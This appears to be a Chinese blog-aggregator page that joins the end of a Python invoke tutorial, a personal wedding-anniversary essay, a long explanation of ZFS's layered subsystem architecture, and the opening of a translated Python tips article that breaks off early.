我们把本文中第一个示例文件改名为 task1.py,并新建一个 tasks.py 文件,内容如下:
# 文件名:tasks.py
from invoke import Collection, task
import task1

@task
def deploy(c):
    c.run("echo deploy")

namespace = Collection(task1, deploy)
每个 py 文件拥有独立的命名空间,而在此处,我们用 Collection 可以创建出一个新的命名空间,从而实现对所有任务的统一管理。效果如下:
>>> inv -l
Available tasks:

  deploy
  task1.greet
  task1.hello
>>> inv deploy
deploy
>>> inv task1.hello
Hello world!
>>> inv task1.greet 武汉
武汉加油!
关于不同任务模块的导入、嵌套、混合、起别名等内容,还有不少细节,请查阅官方文档了解。

3.4 交互式操作

某些任务可能需要交互式的输入,例如要求输入“y”,按回车键后才会继续执行。如果在任务执行期间需要人工参与,那自动化任务的能力将大打折扣。
invoke 提供了在程序运行期的监控能力,可以监听stdoutstderr ,并支持在stdin 中输入必要的信息。
例如,假设某个任务(excitable-program)在执行时会提示“Are you ready? [y/n]”,只有输入了“y”并按下回车键,才会执行后续的操作。
那么,在代码中指定 responses 参数的内容,只要监听到匹配信息,程序会自动执行相应的操作:
responses = {r"Are you ready? \[y/n\] ": "y\n"}
ctx.run("excitable-program", responses=responses)
responses 是字典类型,键值对分别为监听内容及其回应内容。需注意,键值会被视为正则表达式,所以像本例中的方括号就要先转义。

3.5 作为命令行工具库

Python 中有不少好用的命令行工具库,比如标准库中的argparse、Flask 作者开源的click 与谷歌开源的fire 等等,而 invoke 也可以作为命令行工具库使用。
(PS:有位 Prodesire 同学写了“Python 命令行之旅”的系列文章,详细介绍了其它几个命令行工具库的用法,我在公众号“Python猫”里转载过大部分,感兴趣的同学可查看历史文章。)
事实上,Fabric 项目最初把 invoke 分离成独立的库,就是想让它承担解析命令行与执行子命令的任务。所以,除了作为自动化任务管理工具,invoke 也可以被用于开发命令行工具。
官方文档中给出了一个示例,我们可以了解到它的基本用法。
假设我们要开发一个 tester 工具,让用户pip install tester 安装,而此工具提供两个执行命令:tester unittester intergration
这两个子命令需要在 tasks.py 文件中定义:
# tasks.py
from invoke import task

@task
def unit(c):
    print("Running unit tests!")

@task
def integration(c):
    print("Running integration tests!")
然后在程序入口文件中引入它:
# main.py
from invoke import Collection, Program
from tester import tasks

program = Program(namespace=Collection.from_module(tasks), version='0.1.0')
最后在打包文件中声明入口函数:
# setup.py
setup(
    name='tester',
    version='0.1.0',
    packages=['tester'],
    install_requires=['invoke'],
    entry_points={
        'console_scripts': ['tester = tester.main:program.run']
    }
)
如此打包发行的库,就是一个功能齐全的命令行工具了:
$ tester --version
Tester 0.1.0
$ tester --help
Usage: tester [--core-opts] <subcommand> [--subcommand-opts] ...

Core options:
  ... core options here, minus task-related ones ...

Subcommands:
  unit
  integration

$ tester --list
No idea what '--list' is!
$ tester unit
Running unit tests!
上手容易,开箱即用,invoke 不失为一款可以考虑的命令行工具库。更多详细用法,请查阅文档

4、小结

invoke 作为从 Fabric 项目中分离出来的独立项目,它自身具备一些完整而强大的功能,除了可用于开发命令行工具,它还是著名的任务自动化工具。
本文介绍了它的基础用法与 5 个方面的中级内容,相信读者们会对它产生一定的了解。invoke 的官方文档十分详尽,限于篇幅,本文不再详细展开,若感兴趣,请自行查阅文档哦。
--------------
公众号:Python猫(ID: python_cat)
头条号:Python猫
知乎:豌豆花下猫
掘金:豌豆花下猫

February 05, 2020 12:00 AM

February 04, 2020

anji66

铁婚六年,正步走进七年铜婚之痒

没了烟花爆竹驱逐,年兽袭来。冠状病毒肆虐,这是一个不寻常的开年。冷冷清清凄凄惨惨戚戚大概是这个正月最真实的写照了,所有人都窝在家里,各种无聊的自嗨在小视频里传播,大概,没染上病毒染上了精神病了吧。百无聊赖的过了初九,原本是延期开工的日子,被再次延后了,浑浑噩噩的在一出封城公告后,顿时脚踩风火轮赶在封城前逃离了这个0确诊病例的浙北小县,一路狂奔2小时赶到魔都,终于心安归处。


岁月静好,流年无殇

又到正月十一,一个于我特别的日子。今年我和爱人结婚六周年了。本可以来点特别的纪念,奈何出门都得带上口罩,没有大餐,没有礼物,好歹去年还定了份小礼物,今年被这病毒折腾的啥也没有,临了只好一份KFC就把今天打发了,实在抱歉。而那些曾经磕绊的日子在过去一年中少了许许多多。或许她终究是迁就我了。工作越来越忙,顾家越来越少,甚及半夜归家,客厅的灯始终为我照亮。早上出门女儿没醒,晚上归家女儿已然睡着,一天没说上话的小棉袄全是她一手照料。很感激这一年中的她,那个跳蚤脾气,火药个性的她;那个嘴上刀子,心里豆腐的她。


过了今天,就进入第七个年头了,都说七年之痒,所有的爱情过了七年质保期,如果没散,都变成亲情了。有了孩子,这个亲情的纽带更牢固了。《幸福婚姻法则》里说即使是最美好的婚姻,一生中也会有200次离婚的念头,50次掐死对方的冲动。到了如今,我们很容易察觉对方的些许情绪波动,对对方个性格的爆点再熟悉不过了,很多时候,临界时刻刹车已经成了常态,或许这就是我们最美好的婚姻吧。


行至中年,再说三十六

今年我俩虚岁都是三十六了,按老家的习俗,三十六是步入中年的一个寿诞。我俩同龄,岳父在年底就买好了白鸡,岳母出资买了白衬衣。大年初一穿着白衬衣,吃的白鸡,把这一岁白过了。


生日能白过,日子不能白过,2020年一个新的年代已经开始,还有好多任务需要去做,我们一起再出发。写在结婚六周年纪念日。


by 西枫里 at February 04, 2020 02:50 PM

farseerfc

ZFS 分層架構設計

2020年2月9日更新過

ZFS 在設計之初源自於 Sun 內部多次重寫 UFS 的嘗試,背負了重構 Solaris 諸多內核子系統的重任,從而不同於 Linux 的文件系統只負責文件系統的功能而把其餘功能(比如內存髒頁管理, IO調度)交給內核更底層的子系統, ZFS 的整體設計更層次化並更獨立,很多部分可能和 Linux/FreeBSD 內核已有的子系統有功能重疊。

似乎很多關於 ZFS 的視頻演講和幻燈片有講到子系統架構,但是找了半天也沒找到網上關於這個的說明文檔。 於是寫下這篇筆記試圖從 ZFS 的早期開發歷程開始,記錄一下 ZFS 分層架構中各個子系統之間的分工。 也有幾段 OpenZFS Summit 視頻佐以記錄那段歷史。

早期架構

早期 ZFS 在開發時大體可以分爲上下三層,分別是 ZPL, DMU 和 SPA ,這三層分別由三組人負責。

最初在 Sun 內部帶領 ZFS 開發的是 Jeff Bonwick ,他首先有了對 ZFS 整體架構的構思,然後遊說 Sun 高層,親自組建起了 ZFS 開發團隊,招募了當時剛從大學畢業的 Matt Ahrens 。作爲和 Sun 高層談妥的條件, Jeff 也必須負責 Solaris 整體的 Storage & Filesystem Team ,於是他又從 Solaris 的 Storage Team 抽調了 UFS 部分的負責人 Mark Shellenbaum 和 Mark Maybee 來開發 ZFS 。而如今昔日昇陽已然日落, Jeff 成立了獨立公司繼續開拓服務器存儲領域, Matt 是 OpenZFS 項目的負責人,兩位 Mark 則留在了 Sun/Oracle 成爲了 Oracle ZFS 分支的維護者。

The Birth of ZFS by Jeff Bonwick
Story Time (Q&A) with Matt and Jeff
ZFS First Mount by Mark Shellenbaum
ZFS past & future by Mark Maybee

在開發早期,作爲分工, Jeff 負責 ZFS 設計中最底層的 SPA ,提供多個存儲設備組成的存儲池抽象; Matt 負責 ZFS 設計中最至關重要的 DMU 引擎,在塊設備基礎上提供具有事務語義的對象存儲; 而兩位 Mark 負責 ZFS 設計中直接面向用戶的 ZPL ,在 DMU 基礎上提供完整 POSIX 文件系統語義。 ZFS 設計中這最初的分工也體現在了 ZFS 現在子系統分層的架構上,繼續影響(增強或者限制) ZFS 今後發展的方向。

子系統整體架構

首先 ZFS 整體架構如下圖,其中圓圈是 ZFS 給內核層的外部接口,方框是 ZFS 內部子系統( 我給方框的子系統加上了超鏈接):

ZFS_Layer_Architecture clusterTOL TOL clusterSPA SPA Filesystem API Filesystem API VFS VFS Filesystem API->VFS Block device API Block device API /dev/zvol/... /dev/zvol/... Block device API->/dev/zvol/... ZFS Management API (libzfs) ZFS Management API (libzfs) /dev/zfs ioctl /dev/zfs ioctl ZFS Management API (libzfs)->/dev/zfs ioctl NFS/Samba API (libshare) NFS/Samba API (libshare) NFS/CIFS vop_rwlock NFS/CIFS vop_rwlock NFS/Samba API (libshare)->NFS/CIFS vop_rwlock VFS->NFS/CIFS vop_rwlock ZPL ZPL VFS->ZPL ZVOL ZVOL /dev/zvol/...->ZVOL DSL DSL /dev/zfs ioctl->DSL VDEV VDEV /dev/zfs ioctl->VDEV DMU DMU NFS/CIFS vop_rwlock->DMU ZAP ZAP ZPL->ZAP ZPL->DMU ZIL ZIL ZPL->ZIL ZVOL->DMU DSL->ZAP DSL->DMU ZAP->DMU ARC ARC DMU->ARC MetaSlab MetaSlab DMU->MetaSlab ZIO ZIO ARC->ZIO L2ARC L2ARC ARC->L2ARC ZIL->ZIO SLOG SLOG ZIL->SLOG ZIO->MetaSlab ZIO->VDEV L2ARC->ZIO L2ARC->VDEV SLOG->VDEV MetaSlab->VDEV physical storage devices physical storage devices VDEV->physical storage devices

接下來從底層往上介紹一下各個子系統的全稱和職能。

SPA

Storage Pool Allocator

從內核提供的多個塊設備中抽象出存儲池的子系統。 SPA 進一步分爲 ZIO 和 VDEV 兩大部分和其餘一些小的子系統。

SPA 對 DMU 提供的接口不同於傳統的塊設備接口,完全利用了 CoW 文件系統對寫入位置不敏感的特點。 傳統的塊設備接口通常是寫入時指定一個寫入地址,把緩衝區寫到磁盤指定的位置上,而 DMU 可以讓 SPA 做兩種操作:

  1. write , DMU 交給 SPA 一個數據塊的內存指針, SPA 負責找設備寫入這個數據塊,然後返回給 DMU 一個 block pointer 。
  2. read ,DMU 交給 SPA 一個 block pointer ,SPA 讀取設備並返回給 DMU 完整的數據塊。

也就是說,在 DMU 讓 SPA 寫數據塊時, DMU 還不知道 SPA 會寫入的地方,這完全由 SPA 判斷, 這一點通常被稱爲 Write Anywhere ,在別的 CoW 文件系統比如 Btrfs 和 WAFL 中也有這個特點。 反過來 SPA 想要對一個數據塊操作時,也完全不清楚這個數據塊用於什麼目的,屬於什麼文件或者文件系統結構。

VDEV

Virtual DEVice

VDEV 在 ZFS 中的作用相當於 Linux 內核的 Device Mapper 層或者 FreeBSD GEOM 層,提供 Stripe/Mirror/RAIDZ 之類的多設備存儲池管理和抽象。 ZFS 中的 vdev 形成一個樹狀結構,在樹的底層是從內核提供的物理設備, 其上是虛擬的塊設備。每個虛擬塊設備對上對下都是塊設備接口,除了底層的物理設備之外,位於中間層的 vdev 需要負責地址映射、容量轉換等計算過程。

除了用於存儲數據的 Stripe/Mirror/RAIDZ 之類的 VDEV ,還有一些特殊用途的 VDEV ,包括提供二級緩存的 L2ARC 設備,以及提供 ZIL 高速日誌的 SLOG 設備。

ZIO

ZIO Pipeline by George Wilson

ZFS I/O

作用相當於內核的 IO scheduler 和 pagecache write back 機制。 OpenZFS Summit 有个演讲整理了 ZIO 流水线的工作原理。 ZIO 內部使用流水線和事件驅動機制,避免讓上層的 ZFS 線程阻塞等待在 IO 操作上。 ZIO 把一個上層的寫請求轉換成多個寫操作,負責把這些寫操作合併到 transaction group 提交事務組。 ZIO 也負責將讀寫請求按同步還是異步分成不同的讀寫優先級並實施優先級調度, 在 OpenZFS 項目 wiki 頁有一篇描述 ZIO 調度 的細節。

除了調度之外, ZIO 層還負責在讀寫流水線中拆解和拼裝數據塊。上層 DMU 交給 SPA 的數據塊有固定大小, 目前默認是 128KiB ,pool 整體的參數可以調整塊大小在 4KiB 到 8MiB 之間。ZIO 拿到整塊大小的數據塊之後,在流水線中可以對數據塊做諸如以下操作:

  1. 用壓縮算法,壓縮/解壓數據塊。
  2. 查詢 dedup table ,對數據塊去重。
  3. 加密/解密數據塊。
  4. 計算數據塊的校驗和。
  5. 如果底層分配器不能分配完整的 128KiB (或 zpool 設置的大小),那麼嘗試分配多個小塊,然後用多個 512B 的指針間接塊連起多個小塊的,拼裝成一個虛擬的大塊,這個機制叫 gang block 。通常 ZFS 中用到 gang block 時,整個存儲池處於極度空間不足的情況,由 gang block 造成嚴重性能下降,而 gang block 的意義在於在空間接近要滿的時候也能 CoW 寫入一些元數據,釋放亟需的存儲空間。

可見經過 ZIO 流水線之後,數據塊不再是統一大小,這使得 ZFS 用在 4K 對齊的磁盤或者 SSD 上有了一些新的挑戰。

MetaSlab

MetaSlab Allocation Performance by Paul Dagnelie

MetaSlab 是 ZFS 的塊分配器。 VDEV 把存儲設備抽象成存儲池之後, MetaSlab 負責實際從存儲設備上分配數據塊,跟蹤記錄可用空間和已用空間。

叫 MetaSlab 這個名字是因爲 Jeff 最初同時也給 Solaris 內核寫過 slab 分配器 ,一開始設計 SPA 的時候 Jeff 想在 SPA 中也利用 Solaris 的 slab 分配器對磁盤空間使用類似的分配算法。後來 MetaSlab 逐漸不再使用 slab 算法,只有名字留了下來。

MetaSlab 的結構很接近於 FreeBSD UFS 的 cylinder group ,或者 ext2/3/4 的 block group ,或者 xfs 的 allocation group ,目的都是讓存儲分配策略「局域化」, 或者說讓近期分配的數據塊的物理地址比較接近。在存儲設備上創建 zpool 的時候,首先會儘量在存儲設備上分配 200 個左右的 MetaSlab ,隨後給 zpool 增加設備的話使用接近的 MetaSlab 大小。每個 MetaSlab 是連續的一整塊空間,在 MetaSlab 內對數據塊空間做分配和釋放。磁盤中存儲的 MetaSlab 的分配情況是按需載入內存的,系統 import zpool 時不需要載入所有 MetaSlab 到內存,而只需加載一小部分。當前載入內存的 MetaSlab 剩餘空間告急時,會載入別的 MetaSlab 嘗試分配,而從某個 MetaSlab 釋放空間不需要載入 MetaSlab 。

OpenZFS Summit 也有一個對 MetaSlab 分配器性能的介紹,可以看到很多分配器內的細節。

ARC

ELI5: ZFS Caching Explain Like I'm 5: How the ZFS Adaptive Replacement Cache works

Adaptive Replacement Cache

ARC 的作用相當於 Linux/Solaris/FreeBSD 中傳統的 page/buffer cache 。 和傳統 pagecache 使用 LRU (Least Recently Used) 之類的算法剔除緩存頁不同, ARC 算法試圖在 LRU 和 LFU(Least Frequently Used) 之間尋找平衡,從而複製大文件之類的線性大量 IO 操作不至於讓緩存失效率猛增。最近 FOSDEM 2019 有一個介紹 ZFS ARC 工作原理的視頻。

不過 ZFS 採用它自有的 ARC 一個顯著缺點在於,不能和內核已有的 pagecache 機制相互配合,尤其在 系統內存壓力很大的情況下,內核與 ZFS 無關的其餘部分可能難以通知 ARC 釋放內存。所以 ARC 是 ZFS 消耗內存的大戶之一(另一個是可選的 dedup table),也是 ZFS 性能調優 的重中之重。

當然, ZFS 採用 ARC 不依賴於內核已有的 pagecache 機制除了 LFU 平衡的好處之外,也有別的有利的一面。 系統中多次讀取因 snapshot 或者 dedup 而共享的數據塊的話,在 ZFS 的 ARC 機制下,同樣的 block pointer 只會被緩存一次;而傳統的 pagecache 因爲基於 inode 判斷是否有共享, 所以即使這些文件有共享頁面(比如 btrfs/xfs 的 reflink 形成的),也會多次讀入內存。 Linux 的 btrfs 和 xfs 在 VFS 層面有共用的 reflink 機制之後,正在努力着手改善這種局面,而 ZFS 因爲 ARC 所以從最初就避免了這種浪費。

和很多傳言所說的不同, ARC 的內存壓力問題不僅在 Linux 內核會有,在 FreeBSD 和 Solaris/Illumos 上也是同樣,這個在 ZFS First Mount by Mark Shellenbaum 的問答環節 16:37 左右有提到 。其中 Mark Shellenbaum 提到 Matt 覺得讓 ARC 併入現有 pagecache 子系統的工作量太大,難以實現。

因爲 ARC 工作在 ZIO 上層,所以 ARC 中緩存的數據是經過 ZIO 從存儲設備中讀取出來之後解壓、解密等處理之後的,原始的數據。最近 ZFS 的版本有支持一種新特性叫 Compressed ARC ,打破 ARC 和 VDEV 中間 ZIO 的壁壘,把壓縮的數據直接緩存在 ARC 中。這麼做是因爲壓縮解壓很快的情況下,壓縮的 ARC 能節省不少內存,讓更多數據保留在 ARC 中從而提升緩存利用率,並且在有 L2ARC 的情況下也能增加 L2ARC 能存儲的緩存。

L2ARC

Level 2 Adaptive Replacement Cache

這是用 ARC 算法實現的二級緩存,保存於高速存儲設備上。常見用法是給 ZFS pool 配置一塊 SSD 作爲 L2ARC 高速緩存,減輕內存 ARC 的負擔並增加緩存命中率。

SLOG

Separate intent LOG

SLOG 是額外的日誌記錄設備。 SLOG 之於 ZIL 有點像 L2ARC 之餘 ARC , L2ARC 是把內存中的 ARC 放入額外的高速存儲設備,而 SLOG 是把原本和別的數據塊存儲在一起的 ZIL 放到額外的高速存儲設備。

TOL

Transactional Object Layer

這一部分子系統在數據塊的基礎上提供一個事務性的對象語義層,這裏事務性是指, 對對象的修改處於明確的狀態,不會因爲突然斷電之類的原因導致狀態不一致。TOL 中最主要的部分是 DMU 層。

DMU

Data Management Unit

在塊的基礎上提供「對象(object)」的抽象。每個「對象」可以是一個文件,或者是別的 ZFS 內部需要記錄的東西。

DMU 這個名字最初是 Jeff 想類比於操作系統中內存管理的 MMU(Memory Management Unit), Jeff 希望 ZFS 中增加和刪除文件就像內存分配一樣簡單,增加和移除塊設備就像增加內存一樣簡單, 由 DMU 負責從存儲池中分配和釋放數據塊,對上提供事務性語義,管理員不需要管理文件存儲在什麼存儲設備上。 這裏事務性語義指對文件的修改要麼完全成功,要麼完全失敗,不會處於中間狀態,這靠 DMU 的 CoW 語義實現。

DMU 實現了對象級別的 CoW 語義,從而任何經過了 DMU 做讀寫的子系統都具有了 CoW 的特徵, 這不僅包括文件、文件夾這些 ZPL 層需要的東西,也包括文件系統內部用的 spacemap 之類的設施。 相反,不經過 DMU 的子系統則可能沒法保證事務語義。這裏一個特例是 ZIL ,一定程度上繞過了 DMU 直接寫日誌。說一定程度是因爲 ZIL 仍然靠 DMU 來擴展長度,當一個塊寫滿日誌之後需要等 DMU 分配一個新塊,在分配好的塊內寫日誌則不需要經過 DMU 。所有經過 DMU 子系統的對象都有 CoW 語義,也意味着 ZFS 中不能對某些文件可選地關閉 CoW ,不能提供數據庫應用的 direct IO 之類的接口。

「對象(object)」抽象是 DMU 最重要的抽象,一個對象的大小可變,佔用一個或者多個數據塊( 默認一個數據塊 128KiB )。上面提到 SPA 的時候也講了 DMU 和 SPA 之間不同於普通塊設備抽象的接口,這使得 DMU 按整塊的大小分配空間。當對象使用多個數據塊存儲時, DMU 提供間接塊(indirect block)來引用這些數據塊。 間接塊很像傳統 Unix 文件系統(Solaris UFS 或者 Linux ext2)中的一級二級三級間接塊, 一個間接塊存儲很多塊指針(block pointer),多個間接塊形成樹狀結構,最終一個塊指針可以引用到一個對象。 更現代的文件系統比如 ext4/xfs/btrfs/ntfs 提供了 extent 抽象,可以指向一個連續範圍的存儲塊, 而 ZFS 不使用類似 extent 的抽象。DMU 採用間接塊而不是 extent ,使得 ZFS 的空間分配更趨向碎片化,爲了避免碎片化造成的性能影響,需要儘量延遲寫入使得一次寫入能在磁盤上 儘量連續,這裏 ARC 提供的緩存和 ZIO 提供的流水線對延遲寫入避免碎片有至關重要的幫助。

有了「對象(object)」的抽象之後, DMU 進一步實現了「對象集(objectset)」的抽象, 一個對象集中保存一系列按順序編號的 dnode ( ZFS 中類似 inode 的數據結構),每個 dnode 有足夠空間 指向一個對象的最多三個塊指針,如果對象需要更多數據塊可以使用間接塊,如果對象很小也可以直接壓縮進 dnode 。隨後 DSL 又進一步用對象集來實現數據集(dataset)抽象,提供比如文件系統(filesystem )、快照(snapshot)、克隆(clone)之類的抽象。一個對象集中的對象可以通過 dnode 編號相互引用, 就像普通文件系統的硬鏈接引用 inode 編號那樣。

上面也提到因爲 SPA 和 DMU 分離, SPA 完全不知道數據塊用於什麼目的;這一點其實對 DMU 也是類似, DMU 雖然能從某個對象找到它所佔用的數據塊,但是 DMU 完全不知道這個對象在文件系統或者存儲池中是 用來存儲什麼的。當 DMU 讀取數據遇到壞塊(block pointer 中的校驗和與 block pointer 指向的數據塊內容不一致)時,它知道這個數據塊在哪兒(具體哪個設備上的哪個地址), 但是不知道這個數據塊是否和別的對象共享,不知道搬動這個數據塊的影響,也沒法從對象反推出文件系統路徑, (除了明顯開銷很高地掃一遍整個存儲池)。所以 DMU 在遇到讀取錯誤(普通的讀操作或者 scrub/resilver 操作中)時,只能選擇在同樣的地址,原地寫入數據塊的備份(如果能找到或者推算出備份的話)。

或許有人會疑惑,既然從 SPA 無法根據數據地址反推出對象,在 DMU 也無法根據對象反推出文件,那麼 zfs 在遇到數據損壞時是如何在診斷信息中給出損壞的文件路徑的呢?這其實基於 ZPL 的一個黑魔法: 在 dnode 記錄父級 dnode 的編號 。因爲是個黑魔法,這個記錄不總是對的,所以只能用於診斷信息,不能基於這個實現別的文件系統功能。

ZAP

ZFS Attribute Processor

在 DMU 提供的「對象」抽象基礎上提供緊湊的 name/value 映射存儲, 從而文件夾內容列表、文件擴展屬性之類的都是基於 ZAP 來存。 ZAP 在內部分爲兩種存儲表達: microZAP 和 fatZAP 。

一個 microZAP 佔用一整塊數據塊,能存 name 長度小於 50 字符並且 value 是 uint64_t 的表項, 每個表項 64 字節。 fatZAP 則是個樹狀結構,能存更多更複雜的東西。fatZAP 是個 on disk 的散利表,指針表中是 64bit 對 name 的 hash ,指向單鏈表的子節點列表,子節點中的 value 可以是任意類型的數據(不光是 uint64_t )。

可見 microZAP 非常適合表述一個普通大小的文件夾裏面包含到很多普通文件 inode (ZFS 是 dnode)的引用。 fatZAP 則不光可以用於任意大小的文件夾,還可以表達 ZFS 的配置屬性之類的東西,非常靈活。

ZFS First Mount by Mark Shellenbaum 的8:48左右 提到,最初 ZPL 中關於文件的所有屬性(包括訪問時間、權限、大小之類所有文件都有的)都是基於 ZAP 來存,也就是說每個文件都有個 ZAP ,其中有叫做 size 呀 owner 之類的鍵值對,就像是個 JSON 對象那樣,這讓 ZPL 一開始很容易設計原型並且擴展。然後文件夾內容列表有另一種數據結構 ZDS(ZFS Directory Service),後來常見的文件屬性在 ZPL 有了專用的緊湊數據結構,而 ZDS 則漸漸融入了 ZAP 。 這些變化詳見下面 ZPL 。

DSL

Dataset and Snapshot Layer

數據集和快照層,負責創建和管理快照、克隆等數據集類型,跟蹤它們的寫入大小,最終刪除它們。 由於 DMU 層面已經負責了對象的寫時複製語義和對象集的概念,所以 DSL 層面不需要直接接觸寫文件之類來自 ZPL 的請求,無論有沒有快照對 DMU 層面一樣採用寫時複製的方式修改文件數據。 不過在刪除快照和克隆之類的時候,則需要 DSL 參與計算沒有和別的數據集共享的數據塊並且刪除它們。

DSL 管理數據集時,也負責管理數據集上附加的屬性。ZFS 每個數據集有個屬性列表,這些用 ZAP 存儲, DSL 則需要根據數據集的上下級關係,計算出繼承的屬性,最終指導 ZIO 層面的讀寫行爲。

除了管理數據集, DSL 層面也提供了 zfs 中 send/receive 的能力。 ZFS 在 send 時從 DSL 層找到快照引用到的所有數據塊,把它們直接發往管道,在 receive 端則直接接收數據塊並重組數據塊指針。 因爲 DSL 提供的 send/receive 工作在 DMU 之上,所以在 DSL 看到的數據塊是 DMU 的數據塊,下層 SPA 完成的數據壓縮、加密、去重等工作,對 DMU 層完全透明。所以在最初的 send/receive 實現中,假如數據塊已經壓縮,需要在 send 端經過 SPA 解壓,再 receive 端則重新壓縮。最近 ZFS 的 send/receive 逐漸打破 DMU 與 SPA 的壁壘,支持了直接發送已壓縮或加密的數據塊的能力。

ZIL

ZFS Intent Log

記錄兩次完整事務語義提交之間的日誌,用來加速實現 fsync 之類的文件事務語義。

原本 CoW 的文件系統不需要日誌結構來保證文件系統結構的一致性,在 DMU 保證了對象級別事務語義的前提下,每次完整的 transaction group commit 都保證了文件系統一致性,掛載時也直接找到最後一個 transaction group 從它開始掛載即可。 不過在 ZFS 中,做一次完整的 transaction group commit 是個比較耗時的操作, 在寫入文件的數據塊之後,還需要更新整個 object set ,然後更新 meta-object set ,最後更新 uberblock ,爲了滿足事務語義這些操作沒法並行完成,所以整個 pool 提交一次需要等待好幾次磁盤寫操作返回,短則一兩秒,長則幾分鐘, 如果事務中有要刪除快照等非常耗時的操作可能還要等更久,在此期間提交的事務沒法保證一致。

對上層應用程序而言,通常使用 fsync 或者 fdatasync 之類的系統調用,確保文件內容本身的事務一致性。 如果要讓每次 fsync/fdatasync 等待整個 transaction group commit 完成,那會嚴重拖慢很多應用程序,而如果它們不等待直接返回,則在突發斷電時沒有保證一致性。 從而 ZFS 有了 ZIL ,記錄兩次 transaction group 的 commit 之間發生的 fsync ,突然斷電後下次 import zpool 時首先找到最近一次 transaction group ,在它基礎上重放 ZIL 中記錄的寫請求和 fsync 請求,從而滿足 fsync API 要求的事務語義。

顯然對 ZIL 的寫操作需要繞過 DMU 直接寫入數據塊,所以 ZIL 本身是以日誌系統的方式組織的,每次寫 ZIL 都是在已經分配的 ZIL 塊的末尾添加數據,分配新的 ZIL 塊仍然需要經過 DMU 的空間分配。

傳統日誌型文件系統中對 data 開啓日誌支持會造成每次文件系統寫入操作需要寫兩次到設備上, 一次寫入日誌,再一次覆蓋文件系統內容;在 ZIL 實現中則不需要重複寫兩次, DMU 讓 SPA 寫入數據之後 ZIL 可以直接記錄新數據塊的 block pointer ,所以使用 ZIL 不會導致傳統日誌型文件系統中雙倍寫入放大的問題。

ZVOL

ZFS VOLume

有點像 loopback block device ,暴露一個塊設備的接口,其上可以創建別的 FS 。對 ZFS 而言實現 ZVOL 的意義在於它是比文件更簡單的接口,所以在實現完整 ZPL 之前,一開始就先實現了 ZVOL ,而且 早期 Solaris 沒有 thin provisioning storage pool 的時候可以用 ZVOL 模擬很大的塊設備,當時 Solaris 的 UFS 團隊用它來測試 UFS 對 TB 級存儲的支持情況

因爲 ZVOL 基於 DMU 上層,所以 DMU 所有的文件系統功能,比如 snapshot / dedup / compression 都可以用在 ZVOL 上,從而讓 ZVOL 上層的傳統文件系統也具有類似的功能。並且 ZVOL 也具有了 ARC 緩存的能力,和 dedup 結合之下,非常適合於在一個宿主機 ZFS 上提供對虛擬機文件系統鏡像的存儲,可以節省不少存儲空間和內存佔用開銷。

ZPL

ZFS Posix Layer

提供符合 POSIX 文件系統語義的抽象,也就是包括文件、目錄、軟鏈接、套接字這些抽象以及 inode 訪問時間、權限那些抽象,ZPL 是 ZFS 中對一個普通 FS 而言用戶直接接觸的部分。 ZPL 可以說是 ZFS 最複雜的子系統,也是 ZFS 作爲一個文件系統而言最關鍵的部分。

ZPL 的實現中直接使用了 ZAP 和 DMU 提供的抽象,比如每個 ZPL 文件用一個 DMU 對象表達,每個 ZPL 目錄用一個 ZAP 對象表達,然後 DMU 對象集對應到 ZPL 下的一個文件系統。 也就是說 ZPL 負責把操作系統 VFS 抽象層的那些文件系統操作接口,翻譯映射到基於 DMU 和 ZAP 的抽象上。傳統 Unix 中的管道、套接字、軟鏈接之類的沒有什麼數據內容的東西則在 ZPL 直接用 dnode 實現出來。 ZPL 也需要進一步實現文件權限、所有者、訪問日期、擴展屬性之類雜七雜八的文件系統功能。

2020年2月9日添加

繼續上述 ZAP 格式變化的討論,在 ZPL 拋棄早期用 ZAP 的設計之後, ZPL 中 znode (ZPL 擴展的 dnode) 保存文件屬性的機制成爲了一個小的子系統,叫 ZFS System Attributes 。 SA 的設計照顧了舊版 ZPL znode 格式兼容問題,有新舊兩代格式。舊版 znode 格式是固定偏移位置存取屬性的 SA ,因此透過預先註冊好的描述舊版 znode 格式的固定映射表, SA 依然能用同樣的代碼路徑存取舊版的 znode 。而後來 靈活的新設計下的 SA 更有意思 ,ZFS 認識到,大部分 znode 的屬性都可以用有限的幾種屬性集來表达, 比如普通文件有一組類似的屬性(權限、所有者之類的), zvol 有另一組(明顯 zvol 不需要很多 ZPL 文件的屬性),整個 ZFS dataset 可以「註冊」幾種屬性佈局,然後讓每個 znode 引用其中一種佈局, 這樣 znode 保存的屬性仍然是可以任意變化的,又不需要在每個 znode 中都記錄所有屬性的名字。 SA 的出現提升了 ZPL 的可擴展性。 ZPL 爲了應付不同的操作系統之間文件系統 API 的差異,可以使用 SA 在 znode 之中加入針對不同操作系統和應用場景的屬性。例如,在支持 NFSv4 ACL 的操作系統上,ZFS 既可以用現有方式把 DACL ACEs 放在獨立於文件對象的單獨對象中,也可以把 DACL ACEs 放在 SA 內。

在 ZFS First Mount by Mark Shellenbaum 中介紹了很多在最初實現 ZPL 過程中的坎坷, ZPL 的困難之處在於需要兼容現有應用程序對傳統文件系統 API 的使用方式,所以他們需要大量兼容性測試。視頻中講到非常有意思的一件事是, ZFS 在設計時不想重複 Solaris UFS 設計中的很多缺陷,於是實現 VFS API 時有諸多取捨和再設計。 其中他們遇到了 VOP_RWLOCK ,這個是 UFS 提供的文件級別讀寫鎖。對一些應用尤其是 NFS 而言,文件讀寫鎖能保證應用層的一致性,而對另一些應用比如數據庫而言, 文件鎖的粒度太大造成了性能問題。在設計 ZPL 的時候他們不想在 ZFS 中提供 VOP_RWLOCK ,這讓 NFS 開發者們很難辦(要記得 NFS 也是 Solaris 對 Unix 世界貢獻的一大發明)。 最終 ZFS 把 DMU 的內部細節也暴露給了 NFS ,讓 NFS 基於 DMU 的對象創建時間( TXG id )而不是文件鎖來保證 NFS 的一致性。結果是現在 ZFS 中也有照顧 NFS 的代碼,後來也加入了 Samba/CIFS 的支持,從而在 ZFS 上設置 NFS export 時是通過 ZFS 的機制而非系統原生的 NFS export 機制。

by farseerfc at February 04, 2020 07:59 AM

January 28, 2020

pythoncat

你可能不知道的 Python 技巧

原作 | Martin Heinz (https://martinheinz.dev)
译者 | 豌豆花下猫
声明 :本文获得原作者授权翻译,转载请保留原文出处,请勿用于商业或非法用途。
有许许多多文章写了 Python 中的许多很酷的特性,例如变量解包、偏函数、枚举可迭代对象,但是关于 Python 还有很多要讨论的话题,因此在本文中,我将尝试展示一些我知道的和在使用的,但很少在其它文章提到过的特性。那就开始吧。

1、对输入的字符串“消毒”

对用户输入的内容“消毒”,这问题几乎适用于你编写的所有程序。通常将字符转换为小写或大写就足够了,有时你还可以使用正则表达式来完成工作,但是对于复杂的情况,还有更好的方法:
